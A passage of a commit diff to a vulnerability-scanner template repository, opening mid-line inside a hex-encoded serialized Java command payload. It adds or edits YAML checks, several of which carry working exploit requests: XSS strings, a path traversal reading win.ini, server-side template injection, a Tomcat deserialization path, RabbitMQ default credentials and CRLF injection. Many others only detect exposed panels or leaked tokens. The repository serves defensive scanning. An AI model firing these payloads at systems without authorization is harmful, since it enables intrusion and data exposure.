2203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878;\\\"}\",\"name\":\"A\",\"cmd\":\"{\\\"/expandocolumn/update-column\\\":{}}\"Line truncated
+    matchers:
+      - type: word
+        words:
+          - "Could not resolve host"
+        part: body

cves/CVE-2020-8091.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-8091
+
+info:
+  name: TYPO3 Cross-Site Scripting Vulnerability
+  author: dwisiswant0
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/typo3/contrib/websvg/svg.swf?uniqueId=%22])}catch(e){if(!this.x)alert(31337),this.x=1}//"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "31337"
+        part: body
+      - type: word
+        words:
+          - "application/x-shockwave-flash"
+        part: header

cves/CVE-2020-8115.yaml

@@ -2,18 +2,19 @@ id: CVE-2020-8115
 
 info:
   name: Revive Adserver XSS
-  author: madrobot
+  author: madrobot & dwisiswant0
   severity: medium
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/www/delivery/afr.php?refresh=10000&\")',10000000);alert(1337);setTimeout('alert(\""
+    matchers-condition: and
     matchers:
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - "alert(1337)"
+      - type: regex
         part: body
+        regex:
+          - (?mi)window\.location\.replace\(".*alert\(1337\)

cves/CVE-2020-8512.yaml

@@ -2,7 +2,7 @@ id: CVE-2020-8512
 
 info:
   name: IceWarp WebMail XSS
-  author: pdnuclei
+  author: pdnuclei & dwisiswant0
   severity: medium
 
 # source:- https://www.exploit-db.com/exploits/47988
@@ -13,9 +13,12 @@ requests:
     path:
       - '{{BaseURL}}/webmail/?color="><svg/onload=alert(document.domain)>"'
       - '{{BaseURL}}:32000/webmail/?color="><svg/onload=alert(document.domain)>"'
-
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - "<svg/onload=alert(document.domain)>"
+          - "<svg/onload=alert(document.domain)>\"\">"
         part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-8982.yaml

@@ -0,0 +1,23 @@
+id: CVE-2020-8982
+
+info:
+  name: Citrix ShareFile StorageZones Unauthenticated Arbitrary File Read
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "bit app support"
+          - "fonts"
+          - "extensions"
+        condition: and
+        part: body

cves/CVE-2020-9484.yaml

@@ -0,0 +1,26 @@
+id: CVE-2020-9484
+
+info:
+  name: Apache Tomcat RCE by deserialization
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - method: GET
+    headers:
+      Cookie: "JSESSIONID=../../../../../usr/local/tomcat/groovy"
+    path:
+      - "{{BaseURL}}/index.jsp"
+      - "{{BaseURL}}:8080/index.jsp"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 500
+      - type: word
+        words:
+          - "Exception"
+          - "ObjectInputStream"
+          - "PersistentManagerBase"
+        condition: and
+        part: body

cves/CVE-2020-9757.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-9757
+
+info:
+  name: SEOmatic < 3.3.0 Server-Side Template Injection
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/actions/seomatic/meta-container/meta-link-container/?uri={{228*'98'}}"
+      - "{{BaseURL}}/actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}}"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "MetaLinkContainer"
+          - "canonical"
+          - "22344"
+        condition: and
+        part: body

examples/chained-workflow-multiple-templates.yaml

@@ -10,22 +10,22 @@ variables:
   # relative path support is now added into nuclei engine for better UX.
 
   jira: panels/detect-jira.yaml
-  jira-cve-1: cves/CVE-2018-20824.yaml
-  jira-cve-2: cves/CVE-2019-3399.yaml
-  jira-cve-3: cves/CVE-2019-11581.yaml
-  jira-cve-4: cves/CVE-2017-18101.yaml
+  jira_cve_1: cves/CVE-2018-20824.yaml
+  jira_cve_2: cves/CVE-2019-3399.yaml
+  jira_cve_3: cves/CVE-2019-11581.yaml
+  jira_cve_4: cves/CVE-2017-18101.yaml
 
 logic:
-    |
+  |
  # defening conditionals templates.
   if jira() {
 
  # if above conditon retruns true, run all the below tempaltes.
  # if above conditon fails, no tempaltes will be executed.
 
-    jira-cve-1()
-    jira-cve-2()
-    jira-cve-3()
-    jira-cve-4()
+    jira_cve_1()
+    jira_cve_2()
+    jira_cve_3()
+    jira_cve_4()
 
   }

files/elasticsearch.yaml

@@ -12,6 +12,8 @@ requests:
       - '{{BaseURL}}:9200/_cat/indices?v'
       - '{{BaseURL}}/_all/_search'
       - '{{BaseURL}}:9200/_all/_search'
+
+    matchers-condition: and
     matchers:
       - type: word
         words:

files/exposed-svn.yaml

@@ -2,17 +2,21 @@ id: exposed-svn
 
 info:
   name: Exposed SVN Directory
-  author: udit_thakkur
+  author: udit_thakkur & dwisiswant0
   severity: medium
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/.svn/entries"
+      - "{{BaseURL}}/.svn/prop-base/"
+      - "{{BaseURL}}/.svn/text-base/"
+    matchers-condition: and
     matchers:
-      - type: word
-        words:
-          - "dir"
+      - type: regex
+        part: body
+        regex:
+          - "(^10\\s*dir|\\.svn-base|has-props|svn:\\/\\/|([\\da-f]{32}[\\S+\\r\\n\\s]+[\\d]{4}-[\\d]{2}-[\\d]{2}T[\\d]{2}:[\\d]{2}:[\\d]{2}.[\\d]{6}Z))"
       - type: status
         status:
           - 200

files/jolokia.yaml

@@ -1,8 +1,8 @@
-id: jolokia instance
+id: jolokia-instance
 
 info:
   name: Jolokia Version Disclosure
-  author: mavericknerd
+  author: mavericknerd & dwisiswant0
   severity: low
 
 requests:
@@ -10,10 +10,14 @@ requests:
     path:
       - '{{BaseURL}}/jolokia/version'
       - '{{BaseURL}}:8080/jolokia/version'
+    matchers-condition: and
     matchers:
       - type: word
         words:
+          - '"timestamp":'
+          - '"protocol":'
           - '"agent":'
+        condition: and
       - type: status
         status:
           - 200

files/laravel-env.yaml

@@ -2,7 +2,7 @@ id: laravel-env
 
 info:
   name: Laravel .env file
-  author: pxmme1337
+  author: pxmme1337 & dwisiswant0
   severity: medium
 
 requests:
@@ -11,9 +11,9 @@ requests:
       - "{{BaseURL}}/.env"
     matchers-condition: and
     matchers:
-      - type: word
-        words:
-          - "APP_NAME"
+      - type: regex
+        regex:
+          - "(?m)^APP_(NAME|ENV|KEY|DEBUG|URL)="
       - type: status
         status:
           - 200

files/public-tomcat-instance.yaml

@@ -1,4 +1,4 @@
-id: tomcat-instance
+id: public-tomcat-instance
 
 info:
   name: tomcat manager disclosure
@@ -10,10 +10,11 @@ requests:
     path:
       - '{{BaseURL}}/manager/html'
       - '{{BaseURL}}:8080/manager/html'
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - '"Unauthorized":'
+          - Apache Tomcat
       - type: status
         status:
           - 401

files/security.txt.yaml

@@ -10,6 +10,7 @@ requests:
     path:
       - "{{BaseURL}}/.well-known/security.txt"
       - "{{BaseURL}}/security.txt"
+    matchers-condition: and
     matchers:
       - type: status
         status:

files/telerik-dialoghandler-detect.yaml

@@ -0,0 +1,20 @@
+id: telerik-dialoghandler-detect
+info:
+  name: Detect Telerik Web UI Dialog Handler
+  author: organiccrap
+  severity: low
+  # https://captmeelo.com/pentest/2018/08/03/pwning-with-telerik.html
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/Telerik.Web.UI.DialogHandler.aspx'
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - Loading the dialog...

files/wordpress-directory-listing.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/wp-content/uploads/"
+    matchers-condition: and
     matchers:
       - type: status
         status:

files/wordpress-user-enumeration.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/wp-json/wp/v2/users/"
+    matchers-condition: and
     matchers:
       - type: status
         status:

files/zip-backup-files.yaml

@@ -31,6 +31,7 @@ requests:
       - "{{BaseURL}}/{{Hostname}}.sql.zip"
       - "{{BaseURL}}/{{Hostname}}.sql.z"
       - "{{BaseURL}}/{{Hostname}}.sql.tar.z"
+    matchers-condition: and
     matchers:
       - type: binary
         binary:

panels/atlassian-crowd-panel.yaml

@@ -0,0 +1,16 @@
+id: atlassian-crowd-panel
+info:
+  name: Atlassian Crowd panel detect
+  author: organiccrap
+  severity: low
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/crowd/console/login.action'
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers:
+      - type: word
+        words:
+          - <title>Atlassian Crowd - Login</title>
+        part: body

panels/citrix-adc-gateway-detect.yaml

@@ -0,0 +1,16 @@
+id: citrix-adc-gateway-panel
+info:
+  name: Citrix ADC Gateway detect
+  author: organiccrap
+  severity: low
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/logon/LogonPoint/index.html'
+      - '{{BaseURL}}/logon/LogonPoint/custom.html'
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers:
+      - type: word
+        words:
+          - _ctxstxt_CitrixCopyright

panels/docker-api.yaml

@@ -2,16 +2,28 @@ id: exposed-docker-api
 
 info:
   name: Exposed Docker API
-  author: furkansenan
+  author: furkansenan & dwisiswant0
   severity: informative
 
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}:2376/version'
+      - "http://{{Hostname}}/version"
+      - "http://{{Hostname}}:2376/version"
+      - "http://{{Hostname}}/v1.24/version"
+      - "http://{{Hostname}}:2376/v1.24/version"
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - "Version"
-          - "Docker"
+          - "application/json"
+        part: header
+      - type: word
+        words:
+          - "KernelVersion"
+          - "BuildTime"
+        condition: and
         part: body
+      - type: status
+        status:
+          - 200

panels/kubernetes-pods.yaml

@@ -7,6 +7,7 @@ requests:
   - method: GET
     path:
       - '{{BaseURL}}:10250/pods'
+    matchers-condition: and
     matchers:
       - type: word
         words:

panels/rabbitmq-dashboard.yaml

@@ -0,0 +1,16 @@
+id: rabbitmq-dashboard
+
+info:
+  name: RabbitMQ Dashboard
+  author: fyoorer
+  severity: informative
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+    matchers:
+      - type: word
+        words:
+          - "RabbitMQ Management"
+        part: body

security-misconfiguration/front-page-misconfig.yaml

@@ -3,8 +3,8 @@ id: front-page-misconfig
 info:
   name: FrontPage configuration information discloure
   author: JTeles
-  severity: low
-  # reference: https://docs.microsoft.com/en-us/archive/blogs/fabdulwahab/security-protecting-sharepoint-server-applications
+  severity: info
+  # Reference: https://docs.microsoft.com/en-us/archive/blogs/fabdulwahab/security-protecting-sharepoint-server-applications
 
 requests:
   - method: GET

security-misconfiguration/jira-service-desk-signup.yaml

@@ -12,6 +12,7 @@ requests:
     headers:
       Content-Type: application/json
     body: '{"email":"invalid","signUpContext":{},"secondaryEmail":"","usingNewUi":true}'
+    matchers-condition: and
     matchers:
       - type: word
         words:

security-misconfiguration/jira-unauthenticated-dashboards.yaml

@@ -0,0 +1,29 @@
+id: jira-unauthenticated-dashboards
+
+# If public sharing is ON it allows users to share dashboards and filters with all users including
+# those that are not logged in. Those dashboard and filters could reveal potentially sensitive information.
+
+info:
+  name: Jira Unauthenticated Dashboards
+  author: TechbrunchFR
+  severity: Info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/rest/api/2/dashboard?maxResults=100"
+    matchers:
+      - type: word
+        words:
+          - 'dashboards'
+          - 'startAt'
+          - 'maxResults'
+        condition: and
+
+# Remediation:
+# Ensure that this permission is restricted to specific groups that require it.
+# You can restrict it in Administration > System > Global Permissions.
+# Turning the feature off will not affect existing filters and dashboards.
+# If you change this setting, you will still need to update the existing filters and dashboards if they have already been
+# shared publicly.
+# Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced.

security-misconfiguration/jira-unauthenticated-popular-filters.yaml

@@ -0,0 +1,23 @@
+id: jira-unauthenticated-popular-filters
+
+info:
+  name: Jira Unauthenticated Popular Filters
+  author: TechbrunchFR
+  severity: Info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/ManageFilters.jspa?filter=popular&filterView=popular"
+    matchers:
+      - type: word
+        words:
+          - 'filterlink_'
+
+# Remediation:
+# Ensure that this permission is restricted to specific groups that require it.
+# You can restrict it in Administration > System > Global Permissions.
+# Turning the feature off will not affect existing filters and dashboards.
+# If you change this setting, you will still need to update the existing filters and dashboards if they have already been
+# shared publicly.
+# Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced.

security-misconfiguration/jira-unauthenticated-projects.yaml

@@ -0,0 +1,18 @@
+id: jira-unauthenticated-projects
+
+info:
+  name: Jira Unauthenticated Projects
+  author: TechbrunchFR
+  severity: Info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/rest/api/2/project?maxResults=100"
+    matchers:
+      - type: word
+        words:
+          - 'projects'
+          - 'startAt'
+          - 'maxResults'
+        condition: and

security-misconfiguration/jira-unauthenticated-user-picker.yaml

@@ -0,0 +1,15 @@
+id: jira-unauthenticated-user-picker
+
+info:
+  name: Jira Unauthenticated User Picker
+  author: TechbrunchFR
+  severity: High
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/popups/UserPickerBrowser.jspa"
+    matchers:
+      - type: word
+        words:
+          - 'user-picker'

security-misconfiguration/rabbitmq-default-admin.yaml

@@ -0,0 +1,27 @@
+id: rabbitmq-default-admin
+
+info:
+  name: RabbitMQ Default Credentials
+  author: fyoorer & dwisiswant0
+  severity: High
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/api/whoami"
+      - "{{BaseURL}}:15672/api/whoami"
+    headers:
+      Authorization: "Basic Z3Vlc3Q6Z3Vlc3Q="
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+        part: header
+      - type: word
+        words:
+          - "{\"name\":\"guest\""
+        part: body
+      - type: status
+        status:
+          - 200

security-misconfiguration/springboot-detect.yaml

@@ -2,54 +2,98 @@ id: springboot-actuators
 
 info:
   name: Detect the exposure of Springboot Actuators
-  author: that_juan_
+  author: that_juan_ & dwisiswant0
   severity: medium
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/trace"
-      - "{{BaseURL}}/loggers"
-      - "{{BaseURL}}/autoconfig"
-      - "{{BaseURL}}/threaddump"
-      - "{{BaseURL}}/env"
-      - "{{BaseURL}}/management"
-      - "{{BaseURL}}/dump"
-      - "{{BaseURL}}/configprops"
-      - "{{BaseURL}}/mappings"
-      - "{{BaseURL}}/auditevents"
-      - "{{BaseURL}}/beans"
-      - "{{BaseURL}}/cloudfoundryapplication"
-      - "{{BaseURL}}//jolokia"
       - "{{BaseURL}}/actuator"
       - "{{BaseURL}}/actuator/auditevents"
+      - "{{BaseURL}}/actuator/auditLog"
       - "{{BaseURL}}/actuator/beans"
-      - "{{BaseURL}}/actuator/health"
+      - "{{BaseURL}}/actuator/caches"
       - "{{BaseURL}}/actuator/conditions"
       - "{{BaseURL}}/actuator/configprops"
-      - "{{BaseURL}}/actuator/env"
+      - "{{BaseURL}}/actuator/configurationMetadata"
       - "{{BaseURL}}/actuator/dump"
-      - "{{BaseURL}}/actuator/threaddump"
+      - "{{BaseURL}}/actuator/env"
+      - "{{BaseURL}}/actuator/events"
+      - "{{BaseURL}}/actuator/exportRegisteredServices"
+      - "{{BaseURL}}/actuator/features"
       - "{{BaseURL}}/actuator/flyway"
+      - "{{BaseURL}}/actuator/health"
+      - "{{BaseURL}}/actuator/healthcheck"
+      - "{{BaseURL}}/actuator/heapdump"
+      - "{{BaseURL}}/actuator/httptrace"
+      - "{{BaseURL}}/actuator/hystrix.stream"
+      - "{{BaseURL}}/actuator/info"
       - "{{BaseURL}}/actuator/integrationgraph"
-      - "{{BaseURL}}//actuator/management"
-      - "{{BaseURL}}//actuator/jolokia"
+      - "{{BaseURL}}/actuator/jolokia"
+      - "{{BaseURL}}/actuator/liquibase"
+      - "{{BaseURL}}/actuator/logfile"
+      - "{{BaseURL}}/actuator/loggers"
+      - "{{BaseURL}}/actuator/loggingConfig"
+      - "{{BaseURL}}/actuator/management"
+      - "{{BaseURL}}/actuator/mappings"
+      - "{{BaseURL}}/actuator/metrics"
+      - "{{BaseURL}}/actuator/refresh"
+      - "{{BaseURL}}/actuator/registeredServices"
+      - "{{BaseURL}}/actuator/releaseAttributes"
+      - "{{BaseURL}}/actuator/resolveAttributes"
+      - "{{BaseURL}}/actuator/scheduledtasks"
+      - "{{BaseURL}}/actuator/sessions"
+      - "{{BaseURL}}/actuator/shutdown"
+      - "{{BaseURL}}/actuator/springWebflow"
+      - "{{BaseURL}}/actuator/sso"
+      - "{{BaseURL}}/actuator/ssoSessions"
+      - "{{BaseURL}}/actuator/statistics"
+      - "{{BaseURL}}/actuator/status"
+      - "{{BaseURL}}/actuator/threaddump"
+      - "{{BaseURL}}/actuator/trace"
+      - "{{BaseURL}}/auditevents"
+      - "{{BaseURL}}/autoconfig"
+      - "{{BaseURL}}/beans"
+      - "{{BaseURL}}/cloudfoundryapplication"
+      - "{{BaseURL}}/configprops"
+      - "{{BaseURL}}/dump"
+      - "{{BaseURL}}/env"
+      - "{{BaseURL}}/health"
+      - "{{BaseURL}}/heapdump"
+      - "{{BaseURL}}/hystrix.stream"
+      - "{{BaseURL}}/info"
+      - "{{BaseURL}}/jolokia"
+      - "{{BaseURL}}/jolokia/list"
+      - "{{BaseURL}}:8090/jolokia"
+      - "{{BaseURL}}:8090/jolokia/list"
+      - "{{BaseURL}}/loggers"
+      - "{{BaseURL}}/management"
+      - "{{BaseURL}}/mappings"
+      - "{{BaseURL}}/metrics"
+      - "{{BaseURL}}/threaddump"
+      - "{{BaseURL}}/trace"
+    matchers-condition: and
     matchers:
-      - type: regex
+      - type: word
         part: body
-        regex:
+        words:
           - "method"
           - "spring"
           - "TYPE"
           - "system"
           - "database"
           - "cron"
+          - "reloadByURL"
+          - "JMXConfigurator"
+          - "JMImplementation"
+          - "EnvironmentManager"
         condition: or
       - type: status
         status:
           - 200
       - type: word
         words:
+          - "X-Application-Context"
           - "application/json"
           - "hprof"
         condition: or

subdomain-takeover/s3-subtakeover.yaml

@@ -0,0 +1,24 @@
+id: s3-subtakeover
+
+info:
+  name: Subdomain takeovee AWS S3
+  author: manikanta a.k.a @secureitmania
+  severity: high
+
+  # Source:- https://link.medium.com/fgXKJHR9P7
+
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/'
+    redirects: false
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 307
+      - type: word
+        words:
+          - 'Location: https://aws.amazon.com/s3/'
+        part: header

technologies/bigip-config-utility-detect.yaml

@@ -0,0 +1,33 @@
+id: bigip-config-utility
+
+info:
+  name: BIG-IP Configuration Utility detected
+  author: dwisiswant0
+  severity: informative
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/tmui/login.jsp"
+      - "{{BaseURL}}/tmui/tmui/login/welcome.jsp"
+    matchers:
+      - type: word
+        words:
+          - "Welcome to the BIG-IP"
+          - "Configuration Utility"
+        condition: and
+        part: body
+  - method: GET
+    path:
+      - "{{BaseURL}}/mgmt/tm/sys/management-ip"
+    matchers:
+      - type: word
+        words:
+          - "WWW-Authenticate: Basic realm"
+          - "Enterprise Manager"
+        condition: and
+        part: header
+      - type: word
+        words:
+          - "check your user-id and password and try again"
+        part: body

technologies/clockwork-php-header.yaml

@@ -0,0 +1,19 @@
+id: clockwork-php-header
+info:
+  name: Clockwork PHP exposure
+  author: organiccrap
+  severity: high
+  # https://twitter.com/damian_89_/status/1250721398747791360
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/'
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers:
+      - type: word
+        words:
+          - 'X-Clockwork-Id:'
+          - 'X-Clockwork-Version:'
+        part: header
+        condition: and

technologies/clockwork-php-page.yaml

@@ -0,0 +1,23 @@
+id: clockwork-php-page
+info:
+  name: Clockwork PHP page exposure
+  author: organiccrap
+  severity: high
+  # https://twitter.com/damian_89_/status/1250721398747791360
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/__clockwork/app'
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - <title>Clockwork</title>
+          - <html ng-app="Clockwork" ng-csp="">
+        part: body
+        condition: or

technologies/couchdb-detect.yaml

@@ -0,0 +1,19 @@
+id: couchdb-detect
+info:
+  name: couchdb detection
+  author: organiccrap
+  severity: low
+  # commonly runs on port 5984/http
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/_all_dbs'
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers:
+      - type: word
+        words:
+          - CouchDB/
+          - Erlang OTP/
+        part: header
+        condition: and

technologies/liferay-portal-detect.yaml

@@ -0,0 +1,24 @@
+id: liferay-portal-detect
+info:
+  name: Liferay Portal Detection
+  author: organiccrap & dwisiswant0
+  severity: low
+  # CVE-2020-7961: Liferay Portal Unauthenticated RCE
+  # https://github.com/mzer0one/CVE-2020-7961-POC
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/api/jsonws'
+      - '{{BaseURL}}:8080/api/jsonws'
+      - '{{BaseURL}}/api/jsonws/invoke'
+      - '{{BaseURL}}:8080/api/jsonws/invoke'
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers:
+      - type: word
+        words:
+          - <title>json-web-services-api</title>
+          - There are no services matching that phrase.
+          - Unable to deserialize object
+        condition: or
+        part: body

technologies/netsweeper-webadmin-detect.yaml

@@ -0,0 +1,26 @@
+id: netsweeper-webadmin-detect
+
+info:
+  name: Netsweeper WebAdmin detected
+  author: dwisiswant0
+  severity: informative
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/webadmin/start/"
+      - "{{BaseURL}}/webadmin/tools/systemstatus_remote.php"
+    headers:
+      Referer: "http://{{Hostname}}/webadmin/admin/systemstatus_inc_data.php"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "Version: ([\\d.]+)"
+          - "Powered by netsweeper"
+          - "Netsweeper Inc"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200

technologies/ntlm-directories.yaml

@@ -25,50 +25,8 @@ requests:
       - "{{BaseURL}}/ews/"
       - "{{BaseURL}}/exchange/"
       - "{{BaseURL}}/exchweb/"
-      - "{{BaseURL}}/hybridconfig/"
       - "{{BaseURL}}/groupexpansion/"
-      - "{{BaseURL}}/mcx/"
-      - "{{BaseURL}}/mcx/mcxservice.svc"
-      - "{{BaseURL}}/meet/"
-      - "{{BaseURL}}/meeting/"
-      - "{{BaseURL}}/microsoft-server-activesync/"
-      - "{{BaseURL}}/oab/"
-      - "{{BaseURL}}/ocsp/"
-      - "{{BaseURL}}/owa/"
-      - "{{BaseURL}}/persistentchat/"
-      - "{{BaseURL}}/phoneconferencing/"
-      - "{{BaseURL}}/powershell/"
-      - "{{BaseURL}}/public/"
-      - "{{BaseURL}}/reach/sip.svc"
-      - "{{BaseURL}}/requesthandler/"
-      - "{{BaseURL}}/requesthandlerext/"
-      - "{{BaseURL}}/rgs/"
-      - "{{BaseURL}}/rgsclients/"
-      - "{{BaseURL}}/rpc/"
-      - "{{BaseURL}}/rpcwithcert/"
-      - "{{BaseURL}}/scheduler/"
-      - "{{BaseURL}}/ucwa/"
-      - "{{BaseURL}}/unifiedmessaging/"
-      - "{{BaseURL}}/webticket/"
-      - "{{BaseURL}}/webticket/webticketservice.svcabs/"
-      - "{{BaseURL}}/adfs/services/trust/2005/windowstransport"
-      - "{{BaseURL}}/aspnet_client/"
-      - "{{BaseURL}}/autodiscover/"
-      - "{{BaseURL}}/autoupdate/"
-      - "{{BaseURL}}/certenroll/"
-      - "{{BaseURL}}/certprov/"
-      - "{{BaseURL}}/certsrv/"
-      - "{{BaseURL}}/conf/"
-      - "{{BaseURL}}/deviceupdatefiles_ext/"
-      - "{{BaseURL}}/deviceupdatefiles_int/"
-      - "{{BaseURL}}/dialin/"
-      - "{{BaseURL}}/ecp/"
-      - "{{BaseURL}}/etc/"
-      - "{{BaseURL}}/ews/"
-      - "{{BaseURL}}/exchange/"
-      - "{{BaseURL}}/exchweb/"
       - "{{BaseURL}}/hybridconfig/"
-      - "{{BaseURL}}/groupexpansion/"
       - "{{BaseURL}}/mcx/"
       - "{{BaseURL}}/mcx/mcxservice.svc"
       - "{{BaseURL}}/meet/"
@@ -93,9 +51,9 @@ requests:
       - "{{BaseURL}}/unifiedmessaging/"
       - "{{BaseURL}}/webticket/"
       - "{{BaseURL}}/webticket/webticketservice.svc"
+      - "{{BaseURL}}/webticket/webticketservice.svcabs/"
     matchers:
       - type: word
         words:
-          - "WWW-Authenticate"
-        condition: and
+          - "Www-Authenticate"
         part: header

technologies/prometheus-exposed-panel.yaml

@@ -0,0 +1,17 @@
+id: prometheus-exposed-panel
+info:
+  name: Prometheus.io exposed panel
+  author: organiccrap
+  severity: low
+  # usually runs on port http/9090
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/graph'
+      - '{{BaseURL}}:9090/graph'
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers:
+      - type: word
+        words:
+          - <title>Prometheus Time Series Collection and Processing Server</title>

tokens/amazon-mws-auth-token-value.yaml

@@ -11,6 +11,8 @@ requests:
         regex:
           - "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
         type: regex
+
+    matchers-condition: and
     matchers:
       - part: body
         regex:

tokens/aws-access-key-value.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}"
+
+    matchers-condition: and
     matchers:
       - type: regex
         part: body

tokens/google-api-key.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}"
+
+    matchers-condition: and
     matchers:
       - type: regex
         part: body

tokens/http-username-password.yaml

@@ -12,6 +12,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}"
+
+    matchers-condition: and
     matchers:
       - type: regex
         part: body

tokens/mailchimp-api-key.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}"
+
+    matchers-condition: and
     matchers:
       - type: regex
         part: body

tokens/slack-access-token.yaml

@@ -12,6 +12,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}"
+
+    matchers-condition: and
     matchers:
       - type: regex
         part: body

vulnerabilities/cached-aem-pages.yaml

@@ -13,6 +13,7 @@ requests:
     headers:
       CQ-Handle: /content
       CQ-Path: /content
+    matchers-condition: and
     matchers:
       - type: word
         words:

vulnerabilities/couchdb-adminparty.yaml

@@ -0,0 +1,26 @@
+id: couchdb-adminparty
+info:
+  name: couchdb admin party
+  author: organiccrap
+  severity: high
+  # commonly runs on port 5984/http
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/_users/_all_docs'
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - CouchDB/
+          - Erlang OTP/
+        part: header
+        condition: and
+      - type: word
+        words:
+          - total_rows
+          - offset
+        part: body
+        condition: and

vulnerabilities/crlf-injection.yaml

@@ -2,14 +2,19 @@ id: crlf-injection
 
 info:
   name: CRLF injection
-  author: nadino
+  author: melbadry9 & nadino
   severity: low
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/%0D%0ASet-Cookie:crlfinjection=crlfinjection"
